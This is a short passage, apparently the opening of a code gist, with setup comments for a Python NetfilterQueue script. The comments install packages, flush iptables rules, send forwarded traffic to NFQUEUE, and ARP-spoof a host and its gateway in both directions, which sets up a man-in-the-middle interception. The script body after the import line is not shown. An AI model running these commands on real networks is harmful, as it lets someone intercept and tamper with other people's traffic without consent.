This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# apt-get install build-essential python-dev libnetfilter-queue-dev | |
# pip install NetfilterQueue | |
# sudo apt-get install python-netfilterqueue | |
# iptables -F | |
# iptables -F -t nat | |
# iptables -I FORWARD -j NFQUEUE --queue-num 0 | |
# arpspoof -i eth0 192.168.1.200 -t 192.168.1.1 | |
# arpspoof -i eth0 192.168.1.1 -t 192.168.1.200 | |
from netfilterqueue import NetfilterQueue |